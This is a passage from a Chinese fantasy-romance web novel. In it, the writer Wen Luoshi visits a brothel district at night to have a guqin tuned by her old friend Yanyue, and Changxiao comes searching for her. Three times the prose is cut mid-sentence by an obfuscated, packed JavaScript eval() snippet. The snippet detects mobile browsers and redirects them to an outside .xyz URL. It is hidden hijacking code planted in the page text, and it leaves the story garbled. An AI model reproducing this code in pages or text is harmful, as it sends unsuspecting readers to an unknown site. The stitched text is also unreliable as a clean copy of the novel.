对,自己一个写话本的,当然写过各种酒肆茶楼、勾栏瓦舍。毕竟,这些场所中,往往流动着无数个故事,也沉淀着无数个故事。可是她写这些,真的全凭想象,加上自己那一点白天去酒楼吃饭的经历。她毫无实际光顾过这类场所的经验,所以往常只能坐在桌案前,硬着头皮憋出几行文字。如今写作素材如潮水一般扑面而来,文落诗有种实在招架不住的窒息感。 若说整个绛霞巷子是铺天盖地而来的喧嚣,那震撼之最,毫无疑问,当属绛霞双楼。 面前的两座楼足足有五层之高,此刻楼里人影绰绰,甚至能透过窗户纸,隐约看到烛光摇曳的影子。 具体的人影,文落诗没敢仔细看。 一时间,有形形色色的人从文落诗身边经过,而楼里也总有鱼贯而出的人来迎接,仅仅是文落诗在楼前站定的片刻,就有无数进进出出。 当然,晚上这个时间点,更多的人还是只进不出的。 文落诗搂了搂身上的斗篷,把怀里的布袋抱得更紧了些,想早点完事早点离开。她现在只盼着自己路边听到的消息属实,没白跑一趟。等会进去之后,最好也别撞上什么。 她叹了口气,算了,自己一个写话本的,早就啥都知道,不慌不慌。 但是,这种苍白的自我安慰,只能能坚持片刻。 她咬紧牙关,朝着绛霞西楼的门口走去时,突然听到有人在背后叫她: “这位魔娘,可是走错楼了?” 文落诗被着突如其来的声音吓得一哆嗦,猛地转身回头一看,一个面容清秀、身着一袭淡黄色长袍的男子站在面前,正摇着手里的折扇,仔细打量着文落诗的脸。 文落诗整个人被吓懵了半响,连续眨了好几下眼睛,故作镇定,却说出一句风马牛不相干的话:“你扇子上的画倒是挺好看的。” 她有个特点,在最紧张的时候,往往会下意识用最平常的话题和最让人意想不到逻辑去掩盖。 所以,其实她也不知道自己怎么就随口夸了句扇子。 虽然确实挺好看。 那男子听闻,却露出一副又甜又腻的神色,笑脸相迎,走上前来:“哦,那姑娘可有兴趣随我入东楼内,一同鉴赏这扇子上的画作,再共赴……” 文落诗吓得转头就跑。 可那男子却不知怎的,抓住了文落诗的衣袖,害得她差点一个趔趄。 好在她站稳了,没有倒向男子怀里,只不过她被迫再次转头。 那男子把折扇“唰”地一收,摇头晃脑,目光停在文落诗脸上那一道墨绿色的疤痕上:“魔娘生得如此美丽动人,便是在这绛霞巷子里,都叫旁人黯然失色呢!这脸即便是伤了,也是瑕不掩瑜。不过,我这里倒是有些药膏,如果你感兴趣的话。” 文落诗忽然意识到,自己出门出得急了,忘了拿面纱遮脸。不过这不重要,绛霞巷子中人员过于庞杂,流动性也巨大,没人会注意到她。文落诗懒得搭理他,只想等他说完,赶紧结束对话,然后让他哪儿凉快哪儿呆着去。哦不对,现在正值冬年,那就哪儿热乎哪儿呆着去吧。 那男子只当是文落诗不敢接话,继续道:“哎呀,你是第一次来这里吧?这边是绛霞西楼,里面可都是姑娘们,郎君们可都在东楼内呢!” 文落诗无奈,心道我谢谢你啊,这点知识我起码还是知道的。 当今魔界多流行双楼并立,根据约定俗成,东楼全是郎君,负责招待女客,西楼里全是姑娘,负责招待男客。如今面前这个绛霞双楼就是如此。只能说幸好,文落诗要找的人在西楼内,自己不用冒着生死的风险去闯东楼。 她实在觉得自己被耽误了太多时间,忍不了了,不咸不淡地问了一句:“说完了吗?说完我走了。” 那男子短暂地愣了一下,脸上染起一阵唏嘘的笑:“呦,莫非我猜错了,姑娘是来投身的?” 文落诗无语。 于是,她冷眼甩了这人一脸粉色烟雾,再双指向他手腕处一击,那双紧抓着自己衣袖不放的手一抖,顿时松开。趁着他还没反应过来,文落诗立刻转头就走。 待那粉烟散了,男子看着文落诗的方向,微微眯眼,嘴角轻扬:“还真是啊……” 当文落诗费劲九牛二虎之力扒开人潮,找空隙钻进楼里时,才知道自己遇上了一个巨大的难关——怎么找人。 这楼足足有五层之高,大大小小的房间紧挨着彼此,不容一丝空隙。站在大堂的中间,抬头望向穹顶处,文落诗有种极度的游离之感。花红柳绿的人群在大堂里进进出出,更有许多人提着潋滟裙摆、抱着琴瑟琵琶,从楼梯上缓缓而下。一时间,众生百态尽显,有人拱手告别,有人笑脸相迎,有人醉酒抚琴,有人云雨初歇。 她束手无策,总不能一个一个房间挨个找,更不能随便推门进去。 就在她鼓起勇气,打算去随便找一个人问问时,只见两个身若扶柳的姑娘从二楼的楼梯上柔柔弱弱地走下,其中一个还不忘拨弄几下自己怀里抱着的琴。文落诗看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491154|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得胆战心惊,担心她俩稍微站不稳就摔了。 “哎,这琴的音色很久没有这么好过了。” “那是,你也不想想刚刚是谁帮你调的琴。” “你的琵琶呢,怎么不拿去调调?” “这不是今儿早上,刚被新入楼的那个妹妹借走了么,不然我陪你爬了整整五层楼,还曲里拐弯绕到了最里面一间房,怎么可能空着手去啊……” 话还没说完,两个姑娘身侧闪过一道白色的身影,好像是个披着斗篷的人经过。一看就是外来客,不然没人会在楼里还披着斗篷。她们愣了片刻,只听不知何处传来一句: “多谢二位。” 转头看清之时,那个白色的人影已经一路快跑,就要从木梯上到五层了。 * 长晓站在绛霞双楼的门口,表面沉默了很久,内心唏嘘了很久。 他已经在巷子里打听遍了除双楼之外的所有娱乐楼舍,都没找到那个身影。此刻夜已深,楼门口已经相当冷清,相反,楼里的每间客房里却热闹得很。 总不能去每个房间都敲一遍门。 他忽然觉得,找到人的可能性太小了。 冷风起了,周围的喧嚣声正在一点点消沉下去,而夜色也正一点点汹涌上来。他的斗篷渐渐与黑夜相溶。 不知已是何时。而长晓甚至不知道,自己站在此处的意义是什么。 为什么要来找她? 她去什么地方做什么,跟自己有关系吗? 一阵剧烈的狂风吹过,冬年实在太冷了。长晓阖眼许久,好像心里最沸腾的一处,在不经意间被冰冷的夜色击碎了。 有些欲罢不能,终会沦为寂灭。 他欲挥袖转身之际,忽闻身后有人说话: “这位魔郎在楼门口徘徊许久,却迟迟不肯入楼,可是有什么难言的顾虑?” 想是隔壁东楼中来拉客的。长晓没回头,本不欲理财,却不知为何,轻轻说了一句:“我在找人。” 那说话的男子像是来了兴致,只听“哗啦”一声,将折扇甩开,慢步绕道长晓身前:“找人啊,这个点了,怕是人不好找了,说不准正在哪间房里……嘶,想来,要找的该是个姑娘吧,那你……主子?!” 长晓缓缓抬眸,见眼前人,略微一愣,有些惊讶。 眼前这男子立刻东张西望,确认没别人注意他们后,把长晓拉到楼侧的阴影里。 “主子,你怎会……来此处啊?”男子早就没了方才那种翩然姿态,现在全身都写着要急得跳脚。 长晓倒是自然,没有像他一样一惊一乍,缓缓道:“我刚刚说了,在找人。” 男子“嘶”一声,大为震惊:“什么人啊,需要主子亲自下场来找?”他一摇扇子,开始胡乱猜,“尹家人?还是余家人?” 长晓不看他,反倒看向阴影之外的光鲜亮丽的绛霞巷子,面无表情,看了许久,才道:“你现在想多了。方才不是猜得挺准吗。” 18. 弦断之音谁人听 男子被他主子这番话整懵了。他刚刚那些话,都是习惯性的客套话,信手捏来惯了,早就不记得自己说什么了。他毫无思路,只得顺着长晓的眼神,看向远处,忽然想到什么。 “啊,真的是来找姑娘啊!” 长晓没回答,算是默认。 男子转过头,仔仔细细打量了长晓许久:“恕我没理解,这姑娘有什么特别之处吗?” 他的意思是,这姑娘有什么特殊身份,或者牵连了什么事,需要您老人家大动干戈亲自动手啊? 但长晓思索许久,给出的回复却是:“她大概没来得及遮面吧,右颊上有块未愈的疤痕。” 男子满脑子空白,直到长晓打算迈步离开时,不知怎的,他脑海中浮现出不久前遇见的一个姑娘的面容。那姑娘不仅甩了他一脸粉烟,还抽了他手臂上麻筋。 他急忙拦住长晓:“主子,我好像见过她。她好凶的。” 长晓脚步一顿。 呵,能被别人评价为好凶的,应该不是别人了。毕竟,她最喜欢在陌生的地方装出一副高冷的样子,来保护自己。 他面色稍缓,问道:“嗯,在何处。” 男子看着长晓的眼神,总觉得哪里不对。不过,凭借他多年隐匿于风月之地的经验,这倒是不难猜。只不过这个猜测,有些惊世骇俗。 他试探道:“主子,你不会真对她有那意思吧?” “跟你没关系。” 不否认就是不敢否认,也就等于默认。男子快惊呆了,不可置信道:“不是吧?” 长晓的语气中听不出情绪:“楼尽歌,这件事跟你没关系。你就告诉我她去哪儿了就行了。” 那个叫楼尽歌的男子放弃试探,这回倒是答得痛快:“不到一个时辰前,我在西楼门口遇上她了,当时还以为她是来投身的。”他观察了一下长晓的反应,见他没有动怒的意思,便继续道,“后来她就进西楼里了,我没再看到她。” “西楼?”长晓低声问道。 “对啊,我也奇怪,按理说再怎么着,她也应该去东楼……啊不是,你什么都没听见,我方才也什么都没说。” “行,今日多谢你,”长晓懒得理他,伸出手,拍了拍楼尽歌的肩,“你也辛苦了。前些日子我临行前,见过你妹妹,你大可放心,她足够独当一面。” 楼尽歌眼角里忽然露出一丝情绪,像是多年积压的忍耐即将爆发,渐渐低,这情绪全部化为感激:“多谢主子。” “我倒是不知,你如今竟藏身于此处。这里有什么说法吗?” “前些年我一直在不同地方流连,今年刚好发现这里,”楼尽歌凑过去,极小声道,“这里的情报比别的地方多多了。” “行,那行事小心,照顾好自己。”长晓离开之际,又多看了楼尽歌几眼,补充道,“天冷,别穿太少。” “这不是做戏要做全套嘛。对了主子,你如今外出,用的是什么身份?” “长晓。” “哦,挺好。那,你要找的那姑娘,知道你是谁吗?” “暂时不知道。” 楼尽歌站在阴影之中,夜色掩映了他整张脸。目送长晓进入绛霞西楼,他心下的感慨久久没有平息。 * “差不多了,明日一早再仔细试试音色,看看有什么需要调整的。” 在西楼内最高层最深处的屋里,隔着屏风,依稀能看到两个人的影子。 其中一个男子正低头看着桌案上的琴,双手快速流转在琴弦上,在五弦四徴的位置轻轻抚奏着泛音,一会儿又换到七弦五徴的位置。淡淡的音色在他若有若无的弹奏下,泛起层层清风。时不时地,他伸手去拧一拧琴轸,好像一切都格外得心应手。 另一个女子则趴在桌案上,身上盖着雪白色的斗篷,勉强当作被子。此时,她睡眼惺忪,眼皮子正在疯狂打架。但她强撑着,硬是没让自己再睡着。恍恍惚惚听到这句话,她清醒了不少,应了一句:“好,太谢谢你了阿月。” 那个被称作“阿月”的男子十指伸开,轻按在琴弦上,终止了余音,转头道:“你说你,非要这么晚了还来找我,我都不敢想象你这一路怎么摸着黑杀过来的。” “这不是怕你明天就走了,找不到人了嘛。毕竟我们著名的彦月魔郎,可是行踪不定的呢。”文落诗双手在脸上做了几遍干洗脸的动作,清醒了大半。 “我还没问你,”彦月把调琴工作做了最后的收尾,“阿落,怎么打听到我在这儿的?” “前两日出门,在路边听见有人议论,说你这几日在这里。” “你知道这里有多乱吗?大晚上的一个人来找我,也不怕半路被哪个色魔盯上了。” “是挺乱的,但我也很能打的好不好?你又不是不知道,一般人打不过我。” “那你脸怎么回事?是不是跟别人打架了?” “对,有人挑衅欺负一个露烟的妹妹,我帮她打回去了。” “伤怎么样?” “我这不是活蹦乱跳的嘛。” “你别活蹦乱跳了,好好养个十天半个月的吧,自打你进屋起,我就觉得你身上气息弱,像是受了重伤。要不要我这半个月留下来陪你?” “那倒不用,你有你的生活,不用被我耽误。” 文落诗今晚出门的目标顺利达成了,心里一块大石头落下来。如今困意频频涌上,她一副百无聊赖的姿势,手撑着桌案,不让自己的脑袋沉下去。 “不过阿月真的厉害,上得了大雅之堂,也下得了市井巷陌,出手帮别人时,也从来不看对方贵贱。我是真的很少见到你这样的人,满满一身才华,居然还心甘情愿来帮住这些姑娘们,给她们调琴。哎,说不定我下次再想找你,又得去硬闯哪处风月之地。” “我不只帮姑娘们调琴。旁边楼里的郎君们我也帮。”彦月纠正她。 “对啊对啊,所以说你胸襟宽广嘛。只可惜,你只活动于民间,真不敢想象,要是你为朝廷所用,得有多大作为。”文落诗歪着脑袋看着他。 彦月则没接着话。 这么多年过去,彦月从籍籍无名到如今声名显赫的大人物,文落诗顺理成章理解为,他跟自己的想法一模一样,根本志不在高官厚禄上。 许久未见的故人如今重逢在夜深人静时,两人甚至不需要过多叙旧,却都觉得格外安心。 “说起来,”彦月张开手掌,黄色气流涌起,幻化出一块帕子,开始擦琴身上的粉末,“你突然要做张琴做甚?拿来炼法器?我记得,你的法器不是岁寒笔吗?” “刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491155|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚不是一进屋就跟你说了么,送人。有人帮了我,想把恩情还上。”文落诗看着他在擦琴,为表感谢,给他倒了杯茶水。 “这得是何等人物,让你如此大动干戈,先是手忙脚乱了一个多时辰,多半还把屋子炸了不少,然后又马不停蹄地连夜来找我。” “你怎么知道我这琴是现做的?”不过刚问完这句话,文落诗就觉得多此一问了。彦月啊,赫赫有名的大工匠、手艺人,多少人家里的多少东西都是他设计制作的,就连冬曹的人都望尘莫及。找他修琴,真实大才小用了。他当然一眼就能看出来,眼前这张琴,是自己刚做好的。 “琴尾,”彦月倒是认真回答了她的疑惑,“你这琴用的是梧桐木,而且琴尾处有明显的被灼烧的痕迹,我看这烧痕此刻的状态,推断距离这梧桐木脱离火海还不足两个时辰。所以,你大概是两个时辰前才把这块木头从火里抢出来的,那之后的这两个时辰,你可不就在捯饬,和来找我了么。这么多年,你一点没变,想做什么就立刻做,而且偏偏还真能做出极为像样的东西来。你这琴做的,没比我手里的差多少。” “……谢谢你夸奖。你真是了解我,猜得一点错都没有。” “哪里着火了?” “啊,不,我从厨房的火堆里找出来的。” “厨房?厨房为什么会烧梧桐木?” “我哪里知道这是什么木头,厨房大娘说就是路边捡的几块木头,用来烧炉取暖了。当时就这一块木头大小合适,只不过都快被烧焦了。是不是特别影响音色啊?” 彦月此时已经擦完了琴身,端详片刻,弹出几个音,面色唏嘘:“不影响,你这块梧桐木是难得一见的好木,我至今还未见过音色如此之好的琴。” “就是可惜,琴尾烧糊得太明显了。”文落诗惆怅。 “我倒是觉得无伤大雅,甚至还使得此琴变得特殊了。毕竟,世间良琴数不胜数,真正绝佳且独一无二的琴,实则太少了。”彦月颇为感慨,“你还没说,到底是何等人物,能有如此殊荣,让你如此用心?” 文落诗本来想报出名字,却转念一想,彦月是制琴之人,也算是跟不少乐师打过交道,搞不好他们认识,那自己可就太尴尬了。 于是,她含糊其辞:“一个郎君。我不是一路辗转来到稀音城了么,最开始没找到住处,有人好心收留了我,这几天跟他聊天,我有很多之前想不明白的事情都想通了。反正就真的挺谢谢他的。他又正好喜欢弹琴,我就想了这么个办法。” 彦月盯了文落诗好一会儿,讪讪道:“阿落,若不是我过于了解你,我甚至会以为,你铁树开花了。” “我可谢谢你了。”文落诗抬眼,对他这话无奈至极。 她的目标是投稿,是写文章,又不是去谈情说爱。 “也是,你太清醒了,清醒得不像这个年龄的人。”彦月看着她的眼睛,像是透过这双眼,看到了千年前两人尚年少时的场景。一时间他感慨颇多。 时光荏苒而过,不等任何人长大。 “我在你这屋里将就一晚?太晚了,我也实在没力气回去了。咱俩又不是没在一个屋檐下凑合过。” “当然,里面有床榻,我不介意。” 彦月正欲起身,忽然听到屏风后,门口有动静。 19. 弦断之音谁人听 这窸窸窣窣声音在深夜中格外瘆人。 有人要破门而入。而且这门已经破得差不多了。 文落诗一下子警醒起来。毕竟彦月在机关方面是一绝,能破开他锁的门,对方怕是来者不善。 她没怎么恢复,如今法力薄弱,彦月又是专攻匠艺多年,战斗力不怎么样。 两人都屏息凝神。 就在这时,门“咔吧”一下开了。屏风后一个黑影渐渐逼近。 文落诗都已经做好念决出手的准备了,但是看到对方的脸那一刻,她整个人懵了。 她以为自己太困了,出现了幻觉。 而对方先是眯了眯那双愤怒的眼睛,危险地看了看她,再是转而看向她身边的彦月,然后和她一样,愣住,整张脸都写着,他懵了。 一时间,他不再向前走,而是停在原地。慢慢地,他眼神中流露出再也藏不住的惊讶。 气氛格外奇怪,画面像刚凝固的墨一样,好像被空气被拉扯着,胶着得快要干裂开。 文落诗就这么盯着他,脑子一片空白,连自己会说话都忘了。 她没注意到,身边的彦月也彻底怔住了。 不知过了多久,只听彦月在一旁回过神来,卸下防备,惊讶问道:“你怎在此处?” 长晓也刚回过神来,一身寒意,看向彦月:“这话该我问你。” “不是,等等,”文落诗此时更懵了,“你们两个认识啊?” 毕竟,这个开场白的方式,得是多熟的人偶遇时才能使用啊。 彦月一副极为艰难的脸色,仿佛想解释却没办法短时间内解释清楚,欲言又止。恰好此时,长晓再次看向文落诗,沉沉开口,像是强压着愤怒:“我倒是真没想到,你深夜出门,是来找他的。” 彦月没想到长晓周围的气压这么低,连忙帮文落诗开脱:“她来找我修琴而已。”刚说罢,他却忽然反应过来什么,惊讶地看向文落诗。 “等一下,阿落,”彦月用眼神指了指长晓,“你怎么会认识他啊?” “啊?”一瞬间信息量有点大,她脑子有些没转过来:“呃,那个,阿月,你别误会,他可能是来找我的,毕竟我现在住着他的房子,今天晚上人忽然不见了……” 彦月好像忽然获得了什么重要信息,不可置信一般。可他却还是抱着最后一丝希望,弱弱问道:“不是,那你,这琴……” “给他的。”事到如今,文落诗彻底放弃任何隐瞒了,大大方方交代。 那一瞬间,彦月就像重新认识文落诗一样,紧盯着她,从头看到尾,看了好半天。 文落诗此时已经彻底一头雾水了。 这也太乱了,长晓看样子是来找她的,但是长晓居然认识彦月,而且长晓没想到她也认识彦月。彦月看起来也懵了,好像她认识长晓,是一件很惊人的事情。不过她觉得,当务之急,是先把话说开。 于是她打破了寂寞,看向长晓:“长晓,你是来找我的吗?” 在她说出这个称呼之后,彦月更是惊讶,又掺杂了一丝情绪,好像在逐渐理解事态发展。 长晓回过神,眼神深深地看着文落诗,从牙缝里挤出一句:“不然呢?” “啊,那个,不好意思啊,我不是……”她本来已经准备好把今天的事情从头到尾讲一遍了,但忽然余光里瞥见桌上的琴,硬生生把话吞了回去。 哪有给别人准备礼物,还这么直白地讲述过程的啊! 何况旁边还有个彦月在。 “你是不是找了我好久啊?冷不冷啊?”文落诗没有继续说下去,而是站起来,走到长晓面前。 她是真的没想到,长晓会出来找她。平时孑然一身独行惯了,她第一次意识到,自己好像也在被别人牵挂着。一时间,她不知道是该感动,还是该抱歉。 太乱了,从来没有这么无措过。 长晓的身上还散发着阵阵寒气,一看就是刚从楼外进来。可此刻他的眼眸比空气还冷。他盯着文落诗的眸子,像是要把她的眸子彻底看透、再吸入自己身体里一样。 他没有回答,不想回答,也不知怎么回答。 过了很久,他的眼神越过她,看向桌子上的琴。 终于,他被冷风冰冻的嘴唇缓缓张开:“你方才说,这琴是……” “给你的,”彦月抢先回答,“人家跟我说,你帮了人家大忙,就想找个机会感谢你,想着你天天就知道弹琴弹琴、要么就是写曲写曲,她就一个人捣腾了一个多时辰,然后冒着夜里又冷又危险的处境,出来找我调音,就为了给你做张琴。行了,现在来龙去脉全知道了,人家一个小姑娘多好心,不许一脸气冲冲地欺负人家了。” 彦月算是看懂了这个形势,他顿时觉得,自己在此处显得有点多余。但是,碍于这画面进展实在太慢了,他索性一口气把所有事情说完了。 不过,他是痛快了,尴尬的就变成文落诗了。 “啊,对,既然你知道了,就不掖着藏着了,就是他说的那样。”文落诗总觉得,这话说出口之后,再直视长晓的脸,有种心里发慌的感觉。“送你的,谢谢你这些天的照顾,现在太晚了,不能大肆抚琴了,待明日一早,你试试音色,看看喜不喜欢。”她索性也一口气把话说完,转过头去,不再看他。 他们二人这一席话,让长晓成功地在最短时间内确定了整件事的始末,但却也让他在最短时间内下不来台了。 他僵在原地,好像方才的来势汹汹,全部都被冰封住。 从小到大,真的没有人如此为他付出过。 他发现文落诗不见的那一刻,拥有了这辈子没感受过的极度着急。他甚至对这种紧张感和恐惧感无法自圆其说。毕竟,如今距离战约只有五十年不到,什么意想不到的事情都可能发生。 他见到文落诗安好如初的那一刻,真真切切体会到何为松一口气,而他那悬了许久的一颗心,终于在那一刻陡然落地,却砸到身体深处。如今看着那张静静地安坐在桌案上的琴,忽然一股巨大的暖流冲进全身的血液里。 他不冷了,一点都不冷。其实在看到文落诗安好的那一刻,他早就顾不上冷不冷了。此刻,他甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491156|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至觉得很暖和,想把面前这个小姑娘抱进暖融融的身体里。 怎么空气又沉默了。彦月心想。他实在看不下去了:“行了,不管如何,明天早上再说,阿落困了。” 长晓看着彦月,略有深意,不过转瞬即逝。眼前小姑娘一副自责的模样,仿佛她深以为害得自己担心了。他的思绪一下子软了下来:“好,快去睡觉,我刚刚看隔壁有间小空房,我和彦月可以过去。”他又看了一眼彦月,特意补充道:“毕竟,还是不要孤男寡女共处一室了。” 彦月不知怎的,眼神中邪光一闪,故意盯着长晓道:”那倒不至于,毕竟以前,我和阿落经常在一个房间里过夜。” 长晓被彦月刚刚的话刺激得一恍惚。 文落诗心里发慌。他知道长晓的性格,不能再这样下去了。有什么话,就留给明天说吧。或者,我这边已经解释清楚了,他俩等会私下说就也行。 “别,这个房间大,你俩既然认识,就留在这间吧,我去隔壁了。晚安。” 文落诗趁着长晓还处于恍惚之中,抓了个空子,一溜烟蹿到屏风后,开门出去了。 隔壁这个房间是真的小,但是容纳一个小小的文落诗,是足足够了。把自己捂紧温暖的被子里,文落诗开始复盘。 长晓知道隔壁有间空房,证明他说不定真的把所有房间挨个找了一遍。他大概是担心自己,才会关注她的情况,没想到正好找不到人了,哦对,她屋子里还一片狼藉,这确实很容易让人误会她是被掳走的。她觉得,她得渐渐习惯,有人会真心关心自己。所以,哪怕只是为了那些真正关心自己的人,也要让自己好好的。好好养伤,好好帮住更多人。 至于长晓和彦月为什么会认识呢?其实很好猜,彦月制琴技术声名远扬,长晓又是爱琴如命的人,两个人结识,再正常不过。只是,忽然发现自己的竹马和新朋友居然认识,是个很神奇且有冲击力的人生体验。 想着想着,文落诗睡着了。 她完全不知道,隔壁的两个人,实则是因另外两种身份才熟识的。 * “所以,”彦月站起身,走到窗边,看着窗外的浓稠夜色,“她只知道你是长晓,不知道别的?” “暂时不知道。”长晓解下斗篷,挂在一旁的衣桁上,然后跟着彦月的脚步,也临窗而立。 “她说要做张新琴送人的时候,我把所有可能的人物都猜了一遍,唯独没敢猜是你。”彦月也不看他,专注看向窗外。 夜色太浓了,浓到很难打破一样。忽然有一点流星划过,流向天际线的远方。 “我跟她才认识没几天。”长晓声音平淡,听不出任何情绪。 “是吗,”彦月此时转头,深深看了长晓一眼,“我信你说的是真的,阿落也简单跟我说了这些天的事,但我看着你们,就是不像才认识的样子。” 长晓没回答,反问道:“你是怎么认识她的?” 彦月依旧看着远方上空,沉静道:“那个方向,是我们以前的家乡。我们自小熟识,只不过后来各有所志,多年未见。” 20. 弦断之音谁人听 彦月自顾自地走回桌案旁坐下,拿起茶壶,给自己倒了一杯茶。几片茶叶从茶壶中溢出,飘在茶杯上方。 长晓也回来,毫不犹豫地坐在文落诗坐过的位置上。看到彦月手边有晶莹剔透的酒壶,便顺手拿过来,给自己斟了一杯。 “那时候,”彦月酌了一口茶,继续道,“我对文字一窍不通,每当碰到写作的相关的事务,都是她帮我完成的。同理,她在学堂的时候,无论学了多少遍,也不能理解为什么有的茶叶会沉下去,有的能浮上来。那时候我们就明白,人总有所长,也总有所短,只不过每个人的所长所短都不一样。” 见长晓没动静,彦月继续道:“我们互帮互助,最糟糕的时候,曾一起在一个破茅草屋里,度过无数个夜晚。所以,我们俩不会有男女之间的感情,但算起来,却已经是过命的交情。羡慕吗?” 长晓脸色越来越沉,兀自闷了一口淡酒。 “后来,算起来,我们也是那群一起长大的人里,唯独的两个还在保持着自己所爱的人。我倒是还好,澄澜顶多就被一个熙光压着,但她就不一样了,她这些年,痛苦得很。” “我知道。”长晓把话题接过来。 “说起来,在这一点上,你俩是真的像,确实是一类人。”彦月看着长晓低垂的眼角,有些唏嘘。 长晓淡淡开口,声音幽然:“我一直怀疑,此行的目的是不是太奢侈了。在我一度想要放弃的时候,她忽然出现在我的视野里。所以,我们其实在互救。我此行……” “找志向一致的同行之人,你跟我说过。我以为阿落没有这个志向的,也没想过你会碰上她。我以前提过,问过她有没有走仕途的打算,她很绝对地说没有。” 长晓眼神一空。 “你说她是没长大也好,说她只想远离是非也罢。就她那个脑子和那一身才华,偏偏她自己意识不到,我都觉得可惜了,但是还是会尊重她的选择。” “我不会强迫她。她胸怀大志也好,只愿意专注自己也罢,我都不会干涉。”长晓的酒一杯接着一杯地斟,如今已是眉头轻皱,面露愁容。 彦月指着桌案上的琴,对长晓道:“你也看见了,这是她送给你的,就因为你让她看到了自己的意义。阿落她人特别好。我这辈子,很少能遇见这么纯粹美好的人。她好到,我觉得对她隐瞒自己在做的这些事,是种罪过。”他静了一会,补充道:“不过你放心,没有意外的话,我还是会保密。” 长晓没抬头,面色染上淡淡的红晕。 不是真正意义上的痛苦,而是一种深深的无力感。他很久没有这么需要靠酌酒来压抑住翻涌的思绪了。 “但是,迟早有一天,她会知道你是谁。”他看着彦月闲淡的眼神,忽然心底有些不甘。 “我的事情没那么复杂,好处理得很,她也不是不讲道理的人。”彦月放下茶杯,“倒是你,要是真像我猜的那样,我奉劝你,趁早收手吧,没有结果的。” 长晓一僵,手中酒盏停在半空中。 “我太了解她了,在人生方向这种原则问题上,她比远你想象得要坚定、清醒得多。等到她有一天知道你的身份了,无论再怎么说,都会离开的。”彦月说得毫不留情。 长晓没说话,因为他知道,彦月说的应该是事实。 “而且,”彦月声音略带着警告意味,“如果有一天,我得知你拿自己身份压她、逼她如你所愿,我一定会与你断交,你再也别想着从我手里得到军器。” 长晓一叹:“放心,我是什么样的人,你也是了解的,不然当年不会选择帮我。” “说说,接下来,你怎么想的,”彦月看了一眼长晓手里的酒杯,想到他这一坐下就一个劲地喝酒,苦笑,“毕竟,你还远远不够了解她。” 长晓依旧低着头,沉默许久,终于重新开口:“至少,接下来,我们会有很长一段并肩而行的路。谁都不知道这条路上会发生什么。有些事,等这条路走完再看,也不迟。” “好,”彦月点头,“我信你。” 长晓的酒像是醒了一些:“还有什么要说的吗?怎么感觉一进屋,就是你的嘱咐我,都没停过。” 彦月闻言,失笑:“这不是觉得稀奇么,你一个这么久不开窍的寒冰,有朝一日竟然会被别人融化了,不太符合我往常对你的认知啊。” 长晓倒是不担心彦月知晓这点心思,反倒是好奇:“那你这个同样这么久不开窍的人,是怎么看出的?” “反正我不会为了找一个人的踪迹,连夜外出,翻山倒海,一路追到这里。” * 翌日,文落诗早早起了床。 她对昨日隔壁的对话一无所知,虽然猜到那两个人估计聊了不少关于自己的事情,但她也懒得关心。 她往隔壁的门旁边一凑,听到了茶杯放在桌子上的声音,顿时心安理得,推开门进去。 “早。”她绕过屏风,却只看到了彦月一人。 文落诗略显惊讶,彦月却抢先道:“听见你起床的动静了,他下楼了,说在楼门口等你。” “为什么不在这里等我?”文落诗屋里没有茶水,如今来到这个大屋子里,第一件事就是拿起杯子喝水。 空气中有淡淡的酒味。彦月是不饮酒的,她大概猜到,长晓昨夜饮酒了。 这得是聊了什么事,才至于聊着聊着给自己灌酒啊? “这个地方的脂粉味太重了,他受不了呗。”彦月随口一说。 文落诗从昨天一进来,就已经被熏得够呛了,但是她有事情要做,所以顾不上这么多,愣是一直坚持到今天。 不过她不是傻子。通过她对彦月的了解,彦月一定是在编借口。 她内心惊讶,长晓有不少事情瞒着自己也就罢了,他们两个竟然如今合谋,她忽然意识到,彦月好像也瞒了自己一些事情。不过以她和彦月的交情,要是连她都瞒着,估计是大得不能再大的事情。那她就不感兴趣了。 彦月也知道自己这个借口太苍白了,为了掩饰,赶紧催促文落诗道:“行了,以后有机会再见,又不是一辈子见不到了。赶紧下楼吧,他在楼下等着你。” 文落诗看到,桌案上的琴已经不见了,而自己包琴的布袋也不在原先放置的地方。想是长晓已经带走了。 告别彦月后,她披上斗篷走下楼梯,果然在楼门口看到了那个熟悉的黑斗篷。 “睡醒了?”黑斗篷转过身。 “嗯,走吧。你都闻了一晚上的脂粉味了,别再多待了。” 文落诗故意如此说,想诈一诈长晓的反应。毕竟这个话题突如其来。 果不其然,长晓眼神中闪过一丝意外,虽然他的情绪都一直深藏不露,很难通过表情判断他内心所想,但文落诗还是敏锐地捕捉到这一点细小的不同。 没聊过这个话题的人,才会有如此反应。 